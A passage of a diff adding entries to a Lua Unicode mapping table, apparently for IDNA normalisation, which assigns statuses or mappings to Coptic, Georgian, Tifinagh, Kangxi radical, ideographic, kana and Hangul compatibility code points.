+ [0x2CC6] = 0x2CC7, -- COPTIC CAPITAL LETTER OLD COPTIC ESH
+ [0x2CC7] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC ESH
+ [0x2CC8] = 0x2CC9, -- COPTIC CAPITAL LETTER AKHMIMIC KHEI
+ [0x2CC9] = {status="valid"}, -- COPTIC SMALL LETTER AKHMIMIC KHEI
+ [0x2CCA] = 0x2CCB, -- COPTIC CAPITAL LETTER DIALECT-P HORI
+ [0x2CCB] = {status="valid"}, -- COPTIC SMALL LETTER DIALECT-P HORI
+ [0x2CCC] = 0x2CCD, -- COPTIC CAPITAL LETTER OLD COPTIC HORI
+ [0x2CCD] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC HORI
+ [0x2CCE] = 0x2CCF, -- COPTIC CAPITAL LETTER OLD COPTIC HA
+ [0x2CCF] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC HA
+ [0x2CD0] = 0x2CD1, -- COPTIC CAPITAL LETTER L-SHAPED HA
+ [0x2CD1] = {status="valid"}, -- COPTIC SMALL LETTER L-SHAPED HA
+ [0x2CD2] = 0x2CD3, -- COPTIC CAPITAL LETTER OLD COPTIC HEI
+ [0x2CD3] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC HEI
+ [0x2CD4] = 0x2CD5, -- COPTIC CAPITAL LETTER OLD COPTIC HAT
+ [0x2CD5] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC HAT
+ [0x2CD6] = 0x2CD7, -- COPTIC CAPITAL LETTER OLD COPTIC GANGIA
+ [0x2CD7] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC GANGIA
+ [0x2CD8] = 0x2CD9, -- COPTIC CAPITAL LETTER OLD COPTIC DJA
+ [0x2CD9] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC DJA
+ [0x2CDA] = 0x2CDB, -- COPTIC CAPITAL LETTER OLD COPTIC SHIMA
+ [0x2CDB] = {status="valid"}, -- COPTIC SMALL LETTER OLD COPTIC SHIMA
+ [0x2CDC] = 0x2CDD, -- COPTIC CAPITAL LETTER OLD NUBIAN SHIMA
+ [0x2CDD] = {status="valid"}, -- COPTIC SMALL LETTER OLD NUBIAN SHIMA
+ [0x2CDE] = 0x2CDF, -- COPTIC CAPITAL LETTER OLD NUBIAN NGI
+ [0x2CDF] = {status="valid"}, -- COPTIC SMALL LETTER OLD NUBIAN NGI
+ [0x2CE0] = 0x2CE1, -- COPTIC CAPITAL LETTER OLD NUBIAN NYI
+ [0x2CE1] = {status="valid"}, -- COPTIC SMALL LETTER OLD NUBIAN NYI
+ [0x2CE2] = 0x2CE3, -- COPTIC CAPITAL LETTER OLD NUBIAN WAU
+ -- COPTIC SMALL LETTER OLD NUBIAN WAU..COPTIC SYMBOL KAI
+ [0x2CE3] = {status="valid"},
+ [0x2CE4] = {status="valid"},
+ [0x2CEB] = 0x2CEC, -- COPTIC CAPITAL LETTER CRYPTOGRAMMIC SHEI
+ [0x2CEC] = {status="valid"}, -- COPTIC SMALL LETTER CRYPTOGRAMMIC SHEI
+ [0x2CED] = 0x2CEE, -- COPTIC CAPITAL LETTER CRYPTOGRAMMIC GANGIA
+ [0x2CF2] = 0x2CF3, -- COPTIC CAPITAL LETTER BOHAIRIC KHEI
+ [0x2CF3] = {status="valid"}, -- COPTIC SMALL LETTER BOHAIRIC KHEI
+ -- COPTIC SMALL LETTER CRYPTOGRAMMIC GANGIA..COPTIC COMBINING SPIRITUS LENIS
+ [0x2CEE] = {status="valid"},
+ [0x2CEF] = {status="valid"},
+ [0x2CF0] = {status="valid"},
+ [0x2CF1] = {status="valid"},
+ -- NA <reserved-2CF4>..<reserved-2CF8>
+ [0x2CF4] = {status="disallowed"},
+ [0x2CF5] = {status="disallowed"},
+ [0x2CF6] = {status="disallowed"},
+ [0x2CF7] = {status="disallowed"},
+ [0x2CF8] = {status="disallowed"},
+ [0x2D26] = {status="disallowed"}, -- NA <reserved-2D26>
+ [0x2D27] = {status="valid"}, -- GEORGIAN SMALL LETTER YN
+ [0x2D2D] = {status="valid"}, -- GEORGIAN SMALL LETTER AEN
+ -- NA <reserved-2D28>..<reserved-2D2C>
+ [0x2D28] = {status="disallowed"},
+ [0x2D29] = {status="disallowed"},
+ [0x2D2A] = {status="disallowed"},
+ [0x2D2B] = {status="disallowed"},
+ [0x2D2C] = {status="disallowed"},
+ -- NA <reserved-2D2E>..<reserved-2D2F>
+ [0x2D2E] = {status="disallowed"},
+ [0x2D2F] = {status="disallowed"},
+ [0x2D6F] = 0x2D61, -- TIFINAGH MODIFIER LETTER LABIALIZATION MARK
+ [0x2D70] = {status="disallowed"}, -- TIFINAGH SEPARATOR MARK
+ [0x2D7F] = {status="valid"}, -- TIFINAGH CONSONANT JOINER
+ [0x2DA7] = {status="disallowed"}, -- NA <reserved-2DA7>
+ [0x2DAF] = {status="disallowed"}, -- NA <reserved-2DAF>
+ [0x2DB7] = {status="disallowed"}, -- NA <reserved-2DB7>
+ [0x2DBF] = {status="disallowed"}, -- NA <reserved-2DBF>
+ [0x2DC7] = {status="disallowed"}, -- NA <reserved-2DC7>
+ [0x2DCF] = {status="disallowed"}, -- NA <reserved-2DCF>
+ [0x2DD7] = {status="disallowed"}, -- NA <reserved-2DD7>
+ [0x2DDF] = {status="disallowed"}, -- NA <reserved-2DDF>
+ [0x2E2F] = {status="valid"}, -- VERTICAL TILDE
+ [0x2E30] = {status="disallowed"}, -- RING POINT
+ [0x2E31] = {status="disallowed"}, -- WORD SEPARATOR MIDDLE DOT
+ [0x2E9A] = {status="disallowed"}, -- NA <reserved-2E9A>
+ [0x2E9F] = 0x6BCD, -- CJK RADICAL MOTHER
+ -- CJK RADICAL CHOKE..CJK RADICAL DEATH
+ [0x2E9B] = {status="disallowed"},
+ [0x2E9C] = {status="disallowed"},
+ [0x2E9D] = {status="disallowed"},
+ [0x2E9E] = {status="disallowed"},
+ [0x2EF3] = 0x9F9F, -- CJK RADICAL C-SIMPLIFIED TURTLE
+ [0x2F00] = 0x4E00, -- KANGXI RADICAL ONE
+ [0x2F01] = 0x4E28, -- KANGXI RADICAL LINE
+ [0x2F02] = 0x4E36, -- KANGXI RADICAL DOT
+ [0x2F03] = 0x4E3F, -- KANGXI RADICAL SLASH
+ [0x2F04] = 0x4E59, -- KANGXI RADICAL SECOND
+ [0x2F05] = 0x4E85, -- KANGXI RADICAL HOOK
+ [0x2F06] = 0x4E8C, -- KANGXI RADICAL TWO
+ [0x2F07] = 0x4EA0, -- KANGXI RADICAL LID
+ [0x2F08] = 0x4EBA, -- KANGXI RADICAL MAN
+ [0x2F09] = 0x513F, -- KANGXI RADICAL LEGS
+ [0x2F0A] = 0x5165, -- KANGXI RADICAL ENTER
+ [0x2F0B] = 0x516B, -- KANGXI RADICAL EIGHT
+ [0x2F0C] = 0x5182, -- KANGXI RADICAL DOWN BOX
+ [0x2F0D] = 0x5196, -- KANGXI RADICAL COVER
+ [0x2F0E] = 0x51AB, -- KANGXI RADICAL ICE
+ [0x2F0F] = 0x51E0, -- KANGXI RADICAL TABLE
+ [0x2F10] = 0x51F5, -- KANGXI RADICAL OPEN BOX
+ [0x2F11] = 0x5200, -- KANGXI RADICAL KNIFE
+ [0x2F12] = 0x529B, -- KANGXI RADICAL POWER
+ [0x2F13] = 0x52F9, -- KANGXI RADICAL WRAP
+ [0x2F14] = 0x5315, -- KANGXI RADICAL SPOON
+ [0x2F15] = 0x531A, -- KANGXI RADICAL RIGHT OPEN BOX
+ [0x2F16] = 0x5338, -- KANGXI RADICAL HIDING ENCLOSURE
+ [0x2F17] = 0x5341, -- KANGXI RADICAL TEN
+ [0x2F18] = 0x535C, -- KANGXI RADICAL DIVINATION
+ [0x2F19] = 0x5369, -- KANGXI RADICAL SEAL
+ [0x2F1A] = 0x5382, -- KANGXI RADICAL CLIFF
+ [0x2F1B] = 0x53B6, -- KANGXI RADICAL PRIVATE
+ [0x2F1C] = 0x53C8, -- KANGXI RADICAL AGAIN
+ [0x2F1D] = 0x53E3, -- KANGXI RADICAL MOUTH
+ [0x2F1E] = 0x56D7, -- KANGXI RADICAL ENCLOSURE
+ [0x2F1F] = 0x571F, -- KANGXI RADICAL EARTH
+ [0x2F20] = 0x58EB, -- KANGXI RADICAL SCHOLAR
+ [0x2F21] = 0x5902, -- KANGXI RADICAL GO
+ [0x2F22] = 0x590A, -- KANGXI RADICAL GO SLOWLY
+ [0x2F23] = 0x5915, -- KANGXI RADICAL EVENING
+ [0x2F24] = 0x5927, -- KANGXI RADICAL BIG
+ [0x2F25] = 0x5973, -- KANGXI RADICAL WOMAN
+ [0x2F26] = 0x5B50, -- KANGXI RADICAL CHILD
+ [0x2F27] = 0x5B80, -- KANGXI RADICAL ROOF
+ [0x2F28] = 0x5BF8, -- KANGXI RADICAL INCH
+ [0x2F29] = 0x5C0F, -- KANGXI RADICAL SMALL
+ [0x2F2A] = 0x5C22, -- KANGXI RADICAL LAME
+ [0x2F2B] = 0x5C38, -- KANGXI RADICAL CORPSE
+ [0x2F2C] = 0x5C6E, -- KANGXI RADICAL SPROUT
+ [0x2F2D] = 0x5C71, -- KANGXI RADICAL MOUNTAIN
+ [0x2F2E] = 0x5DDB, -- KANGXI RADICAL RIVER
+ [0x2F2F] = 0x5DE5, -- KANGXI RADICAL WORK
+ [0x2F30] = 0x5DF1, -- KANGXI RADICAL ONESELF
+ [0x2F31] = 0x5DFE, -- KANGXI RADICAL TURBAN
+ [0x2F32] = 0x5E72, -- KANGXI RADICAL DRY
+ [0x2F33] = 0x5E7A, -- KANGXI RADICAL SHORT THREAD
+ [0x2F34] = 0x5E7F, -- KANGXI RADICAL DOTTED CLIFF
+ [0x2F35] = 0x5EF4, -- KANGXI RADICAL LONG STRIDE
+ [0x2F36] = 0x5EFE, -- KANGXI RADICAL TWO HANDS
+ [0x2F37] = 0x5F0B, -- KANGXI RADICAL SHOOT
+ [0x2F38] = 0x5F13, -- KANGXI RADICAL BOW
+ [0x2F39] = 0x5F50, -- KANGXI RADICAL SNOUT
+ [0x2F3A] = 0x5F61, -- KANGXI RADICAL BRISTLE
+ [0x2F3B] = 0x5F73, -- KANGXI RADICAL STEP
+ [0x2F3C] = 0x5FC3, -- KANGXI RADICAL HEART
+ [0x2F3D] = 0x6208, -- KANGXI RADICAL HALBERD
+ [0x2F3E] = 0x6236, -- KANGXI RADICAL DOOR
+ [0x2F3F] = 0x624B, -- KANGXI RADICAL HAND
+ [0x2F40] = 0x652F, -- KANGXI RADICAL BRANCH
+ [0x2F41] = 0x6534, -- KANGXI RADICAL RAP
+ [0x2F42] = 0x6587, -- KANGXI RADICAL SCRIPT
+ [0x2F43] = 0x6597, -- KANGXI RADICAL DIPPER
+ [0x2F44] = 0x65A4, -- KANGXI RADICAL AXE
+ [0x2F45] = 0x65B9, -- KANGXI RADICAL SQUARE
+ [0x2F46] = 0x65E0, -- KANGXI RADICAL NOT
+ [0x2F47] = 0x65E5, -- KANGXI RADICAL SUN
+ [0x2F48] = 0x66F0, -- KANGXI RADICAL SAY
+ [0x2F49] = 0x6708, -- KANGXI RADICAL MOON
+ [0x2F4A] = 0x6728, -- KANGXI RADICAL TREE
+ [0x2F4B] = 0x6B20, -- KANGXI RADICAL LACK
+ [0x2F4C] = 0x6B62, -- KANGXI RADICAL STOP
+ [0x2F4D] = 0x6B79, -- KANGXI RADICAL DEATH
+ [0x2F4E] = 0x6BB3, -- KANGXI RADICAL WEAPON
+ [0x2F4F] = 0x6BCB, -- KANGXI RADICAL DO NOT
+ [0x2F50] = 0x6BD4, -- KANGXI RADICAL COMPARE
+ [0x2F51] = 0x6BDB, -- KANGXI RADICAL FUR
+ [0x2F52] = 0x6C0F, -- KANGXI RADICAL CLAN
+ [0x2F53] = 0x6C14, -- KANGXI RADICAL STEAM
+ [0x2F54] = 0x6C34, -- KANGXI RADICAL WATER
+ [0x2F55] = 0x706B, -- KANGXI RADICAL FIRE
+ [0x2F56] = 0x722A, -- KANGXI RADICAL CLAW
+ [0x2F57] = 0x7236, -- KANGXI RADICAL FATHER
+ [0x2F58] = 0x723B, -- KANGXI RADICAL DOUBLE X
+ [0x2F59] = 0x723F, -- KANGXI RADICAL HALF TREE TRUNK
+ [0x2F5A] = 0x7247, -- KANGXI RADICAL SLICE
+ [0x2F5B] = 0x7259, -- KANGXI RADICAL FANG
+ [0x2F5C] = 0x725B, -- KANGXI RADICAL COW
+ [0x2F5D] = 0x72AC, -- KANGXI RADICAL DOG
+ [0x2F5E] = 0x7384, -- KANGXI RADICAL PROFOUND
+ [0x2F5F] = 0x7389, -- KANGXI RADICAL JADE
+ [0x2F60] = 0x74DC, -- KANGXI RADICAL MELON
+ [0x2F61] = 0x74E6, -- KANGXI RADICAL TILE
+ [0x2F62] = 0x7518, -- KANGXI RADICAL SWEET
+ [0x2F63] = 0x751F, -- KANGXI RADICAL LIFE
+ [0x2F64] = 0x7528, -- KANGXI RADICAL USE
+ [0x2F65] = 0x7530, -- KANGXI RADICAL FIELD
+ [0x2F66] = 0x758B, -- KANGXI RADICAL BOLT OF CLOTH
+ [0x2F67] = 0x7592, -- KANGXI RADICAL SICKNESS
+ [0x2F68] = 0x7676, -- KANGXI RADICAL DOTTED TENT
+ [0x2F69] = 0x767D, -- KANGXI RADICAL WHITE
+ [0x2F6A] = 0x76AE, -- KANGXI RADICAL SKIN
+ [0x2F6B] = 0x76BF, -- KANGXI RADICAL DISH
+ [0x2F6C] = 0x76EE, -- KANGXI RADICAL EYE
+ [0x2F6D] = 0x77DB, -- KANGXI RADICAL SPEAR
+ [0x2F6E] = 0x77E2, -- KANGXI RADICAL ARROW
+ [0x2F6F] = 0x77F3, -- KANGXI RADICAL STONE
+ [0x2F70] = 0x793A, -- KANGXI RADICAL SPIRIT
+ [0x2F71] = 0x79B8, -- KANGXI RADICAL TRACK
+ [0x2F72] = 0x79BE, -- KANGXI RADICAL GRAIN
+ [0x2F73] = 0x7A74, -- KANGXI RADICAL CAVE
+ [0x2F74] = 0x7ACB, -- KANGXI RADICAL STAND
+ [0x2F75] = 0x7AF9, -- KANGXI RADICAL BAMBOO
+ [0x2F76] = 0x7C73, -- KANGXI RADICAL RICE
+ [0x2F77] = 0x7CF8, -- KANGXI RADICAL SILK
+ [0x2F78] = 0x7F36, -- KANGXI RADICAL JAR
+ [0x2F79] = 0x7F51, -- KANGXI RADICAL NET
+ [0x2F7A] = 0x7F8A, -- KANGXI RADICAL SHEEP
+ [0x2F7B] = 0x7FBD, -- KANGXI RADICAL FEATHER
+ [0x2F7C] = 0x8001, -- KANGXI RADICAL OLD
+ [0x2F7D] = 0x800C, -- KANGXI RADICAL AND
+ [0x2F7E] = 0x8012, -- KANGXI RADICAL PLOW
+ [0x2F7F] = 0x8033, -- KANGXI RADICAL EAR
+ [0x2F80] = 0x807F, -- KANGXI RADICAL BRUSH
+ [0x2F81] = 0x8089, -- KANGXI RADICAL MEAT
+ [0x2F82] = 0x81E3, -- KANGXI RADICAL MINISTER
+ [0x2F83] = 0x81EA, -- KANGXI RADICAL SELF
+ [0x2F84] = 0x81F3, -- KANGXI RADICAL ARRIVE
+ [0x2F85] = 0x81FC, -- KANGXI RADICAL MORTAR
+ [0x2F86] = 0x820C, -- KANGXI RADICAL TONGUE
+ [0x2F87] = 0x821B, -- KANGXI RADICAL OPPOSE
+ [0x2F88] = 0x821F, -- KANGXI RADICAL BOAT
+ [0x2F89] = 0x826E, -- KANGXI RADICAL STOPPING
+ [0x2F8A] = 0x8272, -- KANGXI RADICAL COLOR
+ [0x2F8B] = 0x8278, -- KANGXI RADICAL GRASS
+ [0x2F8C] = 0x864D, -- KANGXI RADICAL TIGER
+ [0x2F8D] = 0x866B, -- KANGXI RADICAL INSECT
+ [0x2F8E] = 0x8840, -- KANGXI RADICAL BLOOD
+ [0x2F8F] = 0x884C, -- KANGXI RADICAL WALK ENCLOSURE
+ [0x2F90] = 0x8863, -- KANGXI RADICAL CLOTHES
+ [0x2F91] = 0x897E, -- KANGXI RADICAL WEST
+ [0x2F92] = 0x898B, -- KANGXI RADICAL SEE
+ [0x2F93] = 0x89D2, -- KANGXI RADICAL HORN
+ [0x2F94] = 0x8A00, -- KANGXI RADICAL SPEECH
+ [0x2F95] = 0x8C37, -- KANGXI RADICAL VALLEY
+ [0x2F96] = 0x8C46, -- KANGXI RADICAL BEAN
+ [0x2F97] = 0x8C55, -- KANGXI RADICAL PIG
+ [0x2F98] = 0x8C78, -- KANGXI RADICAL BADGER
+ [0x2F99] = 0x8C9D, -- KANGXI RADICAL SHELL
+ [0x2F9A] = 0x8D64, -- KANGXI RADICAL RED
+ [0x2F9B] = 0x8D70, -- KANGXI RADICAL RUN
+ [0x2F9C] = 0x8DB3, -- KANGXI RADICAL FOOT
+ [0x2F9D] = 0x8EAB, -- KANGXI RADICAL BODY
+ [0x2F9E] = 0x8ECA, -- KANGXI RADICAL CART
+ [0x2F9F] = 0x8F9B, -- KANGXI RADICAL BITTER
+ [0x2FA0] = 0x8FB0, -- KANGXI RADICAL MORNING
+ [0x2FA1] = 0x8FB5, -- KANGXI RADICAL WALK
+ [0x2FA2] = 0x9091, -- KANGXI RADICAL CITY
+ [0x2FA3] = 0x9149, -- KANGXI RADICAL WINE
+ [0x2FA4] = 0x91C6, -- KANGXI RADICAL DISTINGUISH
+ [0x2FA5] = 0x91CC, -- KANGXI RADICAL VILLAGE
+ [0x2FA6] = 0x91D1, -- KANGXI RADICAL GOLD
+ [0x2FA7] = 0x9577, -- KANGXI RADICAL LONG
+ [0x2FA8] = 0x9580, -- KANGXI RADICAL GATE
+ [0x2FA9] = 0x961C, -- KANGXI RADICAL MOUND
+ [0x2FAA] = 0x96B6, -- KANGXI RADICAL SLAVE
+ [0x2FAB] = 0x96B9, -- KANGXI RADICAL SHORT TAILED BIRD
+ [0x2FAC] = 0x96E8, -- KANGXI RADICAL RAIN
+ [0x2FAD] = 0x9751, -- KANGXI RADICAL BLUE
+ [0x2FAE] = 0x975E, -- KANGXI RADICAL WRONG
+ [0x2FAF] = 0x9762, -- KANGXI RADICAL FACE
+ [0x2FB0] = 0x9769, -- KANGXI RADICAL LEATHER
+ [0x2FB1] = 0x97CB, -- KANGXI RADICAL TANNED LEATHER
+ [0x2FB2] = 0x97ED, -- KANGXI RADICAL LEEK
+ [0x2FB3] = 0x97F3, -- KANGXI RADICAL SOUND
+ [0x2FB4] = 0x9801, -- KANGXI RADICAL LEAF
+ [0x2FB5] = 0x98A8, -- KANGXI RADICAL WIND
+ [0x2FB6] = 0x98DB, -- KANGXI RADICAL FLY
+ [0x2FB7] = 0x98DF, -- KANGXI RADICAL EAT
+ [0x2FB8] = 0x9996, -- KANGXI RADICAL HEAD
+ [0x2FB9] = 0x9999, -- KANGXI RADICAL FRAGRANT
+ [0x2FBA] = 0x99AC, -- KANGXI RADICAL HORSE
+ [0x2FBB] = 0x9AA8, -- KANGXI RADICAL BONE
+ [0x2FBC] = 0x9AD8, -- KANGXI RADICAL TALL
+ [0x2FBD] = 0x9ADF, -- KANGXI RADICAL HAIR
+ [0x2FBE] = 0x9B25, -- KANGXI RADICAL FIGHT
+ [0x2FBF] = 0x9B2F, -- KANGXI RADICAL SACRIFICIAL WINE
+ [0x2FC0] = 0x9B32, -- KANGXI RADICAL CAULDRON
+ [0x2FC1] = 0x9B3C, -- KANGXI RADICAL GHOST
+ [0x2FC2] = 0x9B5A, -- KANGXI RADICAL FISH
+ [0x2FC3] = 0x9CE5, -- KANGXI RADICAL BIRD
+ [0x2FC4] = 0x9E75, -- KANGXI RADICAL SALT
+ [0x2FC5] = 0x9E7F, -- KANGXI RADICAL DEER
+ [0x2FC6] = 0x9EA5, -- KANGXI RADICAL WHEAT
+ [0x2FC7] = 0x9EBB, -- KANGXI RADICAL HEMP
+ [0x2FC8] = 0x9EC3, -- KANGXI RADICAL YELLOW
+ [0x2FC9] = 0x9ECD, -- KANGXI RADICAL MILLET
+ [0x2FCA] = 0x9ED1, -- KANGXI RADICAL BLACK
+ [0x2FCB] = 0x9EF9, -- KANGXI RADICAL EMBROIDERY
+ [0x2FCC] = 0x9EFD, -- KANGXI RADICAL FROG
+ [0x2FCD] = 0x9F0E, -- KANGXI RADICAL TRIPOD
+ [0x2FCE] = 0x9F13, -- KANGXI RADICAL DRUM
+ [0x2FCF] = 0x9F20, -- KANGXI RADICAL RAT
+ [0x2FD0] = 0x9F3B, -- KANGXI RADICAL NOSE
+ [0x2FD1] = 0x9F4A, -- KANGXI RADICAL EVEN
+ [0x2FD2] = 0x9F52, -- KANGXI RADICAL TOOTH
+ [0x2FD3] = 0x9F8D, -- KANGXI RADICAL DRAGON
+ [0x2FD4] = 0x9F9C, -- KANGXI RADICAL TURTLE
+ [0x2FD5] = 0x9FA0, -- KANGXI RADICAL FLUTE
+ [0x3000] = {status="disallowed"}, -- IDEOGRAPHIC SPACE
+ [0x3001] = {status="disallowed"}, -- IDEOGRAPHIC COMMA
+ [0x3002] = 0x002E, -- IDEOGRAPHIC FULL STOP
+ -- DITTO MARK..JAPANESE INDUSTRIAL STANDARD SYMBOL
+ [0x3003] = {status="disallowed"},
+ [0x3004] = {status="disallowed"},
+ -- IDEOGRAPHIC ITERATION MARK..IDEOGRAPHIC NUMBER ZERO
+ [0x3005] = {status="valid"},
+ [0x3006] = {status="valid"},
+ [0x3007] = {status="valid"},
+ -- IDEOGRAPHIC LEVEL TONE MARK..IDEOGRAPHIC ENTERING TONE MARK
+ [0x302A] = {status="valid"},
+ [0x302B] = {status="valid"},
+ [0x302C] = {status="valid"},
+ [0x302D] = {status="valid"},
+ [0x3036] = 0x3012, -- CIRCLED POSTAL MARK
+ [0x3037] = {status="disallowed"}, -- IDEOGRAPHIC TELEGRAPH LINE FEED SEPARATOR SYMBOL
+ [0x3038] = 0x5341, -- HANGZHOU NUMERAL TEN
+ [0x3039] = 0x5344, -- HANGZHOU NUMERAL TWENTY
+ [0x303A] = 0x5345, -- HANGZHOU NUMERAL THIRTY
+ [0x303B] = {status="disallowed"}, -- VERTICAL IDEOGRAPHIC ITERATION MARK
+ [0x303C] = {status="valid"}, -- MASU MARK
+ [0x303D] = {status="disallowed"}, -- PART ALTERNATION MARK
+ [0x303E] = {status="disallowed"}, -- IDEOGRAPHIC VARIATION INDICATOR
+ [0x303F] = {status="disallowed"}, -- IDEOGRAPHIC HALF FILL SPACE
+ [0x3040] = {status="disallowed"}, -- NA <reserved-3040>
+ -- NA <reserved-3097>..<reserved-3098>
+ [0x3097] = {status="disallowed"},
+ [0x3098] = {status="disallowed"},
+ [0x309B] = {status="disallowed"}, -- KATAKANA-HIRAGANA VOICED SOUND MARK
+ [0x309C] = {status="disallowed"}, -- KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+ -- COMBINING KATAKANA-HIRAGANA VOICED SOUND MARK..COMBINING KATAKANA-HIRAGANA SEMI-VOICED SOUND MARK
+ [0x3099] = {status="valid"},
+ [0x309A] = {status="valid"},
+ [0x309F] = {0x3088, 0x308A}, -- HIRAGANA DIGRAPH YORI
+ [0x30A0] = {status="disallowed"}, -- KATAKANA-HIRAGANA DOUBLE HYPHEN
+ -- HIRAGANA ITERATION MARK..HIRAGANA VOICED ITERATION MARK
+ [0x309D] = {status="valid"},
+ [0x309E] = {status="valid"},
+ [0x30FF] = {0x30B3, 0x30C8}, -- KATAKANA DIGRAPH KOTO
+ -- NA <reserved-3100>..<reserved-3104>
+ [0x3100] = {status="disallowed"},
+ [0x3101] = {status="disallowed"},
+ [0x3102] = {status="disallowed"},
+ [0x3103] = {status="disallowed"},
+ [0x3104] = {status="disallowed"},
+ [0x312D] = {status="valid"}, -- BOPOMOFO LETTER IH
+ [0x312E] = {status="valid"}, -- BOPOMOFO LETTER O WITH DOT ABOVE
+ [0x3131] = 0x1100, -- HANGUL LETTER KIYEOK
+ [0x3132] = 0x1101, -- HANGUL LETTER SSANGKIYEOK
+ [0x3133] = 0x11AA, -- HANGUL LETTER KIYEOK-SIOS
+ [0x3134] = 0x1102, -- HANGUL LETTER NIEUN
+ [0x3135] = 0x11AC, -- HANGUL LETTER NIEUN-CIEUC
+ [0x3136] = 0x11AD, -- HANGUL LETTER NIEUN-HIEUH
+ [0x3137] = 0x1103, -- HANGUL LETTER TIKEUT
+ [0x3138] = 0x1104, -- HANGUL LETTER SSANGTIKEUT
+ [0x3139] = 0x1105, -- HANGUL LETTER RIEUL
+ [0x313A] = 0x11B0, -- HANGUL LETTER RIEUL-KIYEOK
+ [0x313B] = 0x11B1, -- HANGUL LETTER RIEUL-MIEUM
+ [0x313C] = 0x11B2, -- HANGUL LETTER RIEUL-PIEUP
+ [0x313D] = 0x11B3, -- HANGUL LETTER RIEUL-SIOS
+ [0x313E] = 0x11B4, -- HANGUL LETTER RIEUL-THIEUTH
+ [0x313F] = 0x11B5, -- HANGUL LETTER RIEUL-PHIEUPH
+ [0x3140] = 0x111A, -- HANGUL LETTER RIEUL-HIEUH
+ [0x3141] = 0x1106, -- HANGUL LETTER MIEUM
+ [0x3142] = 0x1107, -- HANGUL LETTER PIEUP
+ [0x3143] = 0x1108, -- HANGUL LETTER SSANGPIEUP
+ [0x3144] = 0x1121, -- HANGUL LETTER PIEUP-SIOS
+ [0x3145] = 0x1109, -- HANGUL LETTER SIOS
+ [0x3146] = 0x110A, -- HANGUL LETTER SSANGSIOS
+ [0x3147] = 0x110B, -- HANGUL LETTER IEUNG
+ [0x3148] = 0x110C, -- HANGUL LETTER CIEUC
+ [0x3149] = 0x110D, -- HANGUL LETTER SSANGCIEUC
+ [0x314A] = 0x110E, -- HANGUL LETTER CHIEUCH
+ [0x314B] = 0x110F, -- HANGUL LETTER KHIEUKH
+ [0x314C] = 0x1110, -- HANGUL LETTER THIEUTH
+ [0x314D] = 0x1111, -- HANGUL LETTER PHIEUPH
+ [0x314E] = 0x1112, -- HANGUL LETTER HIEUH
+ [0x314F] = 0x1161, -- HANGUL LETTER A
+ [0x3150] = 0x1162, -- HANGUL LETTER AE
+ [0x3151] = 0x1163, -- HANGUL LETTER YA
+ [0x3152] = 0x1164, -- HANGUL LETTER YAE
+ [0x3153] = 0x1165, -- HANGUL LETTER EO
+ [0x3154] = 0x1166, -- HANGUL LETTER E
+ [0x3155] = 0x1167, -- HANGUL LETTER YEO
+ [0x3156] = 0x1168, -- HANGUL LETTER YE
+ [0x3157] = 0x1169, -- HANGUL LETTER O
+ [0x3158] = 0x116A, -- HANGUL LETTER WA
+ [0x3159] = 0x116B, -- HANGUL LETTER WAE
+ [0x315A] = 0x116C, -- HANGUL LETTER OE
+ [0x315B] = 0x116D, -- HANGUL LETTER YO
+ [0x315C] = 0x116E, -- HANGUL LETTER U
+ [0x315D] = 0x116F, -- HANGUL LETTER WEO
+ [0x315E] = 0x1170, -- HANGUL LETTER WE
+ [0x315F] = 0x1171, -- HANGUL LETTER WI
+ [0x3160] = 0x1172, -- HANGUL LETTER YU
+ [0x3161] = 0x1173, -- HANGUL LETTER EU
+ [0x3162] = 0x1174, -- HANGUL LETTER YI
+ [0x3163] = 0x1175, -- HANGUL LETTER I
+ [0x3164] = {status="disallowed"}, -- HANGUL FILLER
+ [0x3165] = 0x1114, -- HANGUL LETTER SSANGNIEUN
+ [0x3166] = 0x1115, -- HANGUL LETTER NIEUN-TIKEUT
+ [0x3167] = 0x11C7, -- HANGUL LETTER NIEUN-SIOS
+ [0x3168] = 0x11C8, -- HANGUL LETTER NIEUN-PANSIOS
+ [0x3169] = 0x11CC, -- HANGUL LETTER RIEUL-KIYEOK-SIOS
+ [0x316A] = 0x11CE, -- HANGUL LETTER RIEUL-TIKEUT
+ [0x316B] = 0x11D3, -- HANGUL LETTER RIEUL-PIEUP-SIOS
+ [0x316C] = 0x11D7, -- HANGUL LETTER RIEUL-PANSIOS
+ [0x316D] = 0x11D9, -- HANGUL LETTER RIEUL-YEORINHIEUH
+ [0x316E] = 0x111C, -- HANGUL LETTER MIEUM-PIEUP
+ [0x316F] = 0x11DD, -- HANGUL LETTER MIEUM-SIOS
+ [0x3170] = 0x11DF, -- HANGUL LETTER MIEUM-PANSIOS
+ [0x3171] = 0x111D, -- HANGUL LETTER KAPYEOUNMIEUM
+ [0x3172] = 0x111E, -- HANGUL LETTER PIEUP-KIYEOK
+ [0x3173] = 0x1120, -- HANGUL LETTER PIEUP-TIKEUT
+ [0x3174] = 0x1122, -- HANGUL LETTER PIEUP-SIOS-KIYEOK
+ [0x3175] = 0x1123, -- HANGUL LETTER PIEUP-SIOS-TIKEUT
+ [0x3176] = 0x1127, -- HANGUL LETTER PIEUP-CIEUC
+ [0x3177] = 0x1129, -- HANGUL LETTER PIEUP-THIEUTH
+ [0x3178] = 0x112B, -- HANGUL LETTER KAPYEOUNPIEUP
+ [0x3179] = 0x112C, -- HANGUL LETTER KAPYEOUNSSANGPIEUP
+ [0x317A] = 0x112D, -- HANGUL LETTER SIOS-KIYEOK
+ [0x317B] = 0x112E, -- HANGUL LETTER SIOS-NIEUN
+ [0x317C] = 0x112F, -- HANGUL LETTER SIOS-TIKEUT
+ [0x317D] = 0x1132, -- HANGUL LETTER SIOS-PIEUP
+ [0x317E] = 0x1136, -- HANGUL LETTER SIOS-CIEUC
+ [0x317F] = 0x1140, -- HANGUL LETTER PANSIOS
+ [0x3180] = 0x1147, -- HANGUL LETTER SSANGIEUNG
+ [0x3181] = 0x114C, -- HANGUL LETTER YESIEUNG
+ [0x3182] = 0x11F1, -- HANGUL LETTER YESIEUNG-SIOS
+ [0x3183] = 0x11F2, -- HANGUL LETTER YESIEUNG-PANSIOS
+ [0x3184] = 0x1157, -- HANGUL LETTER KAPYEOUNPHIEUPH
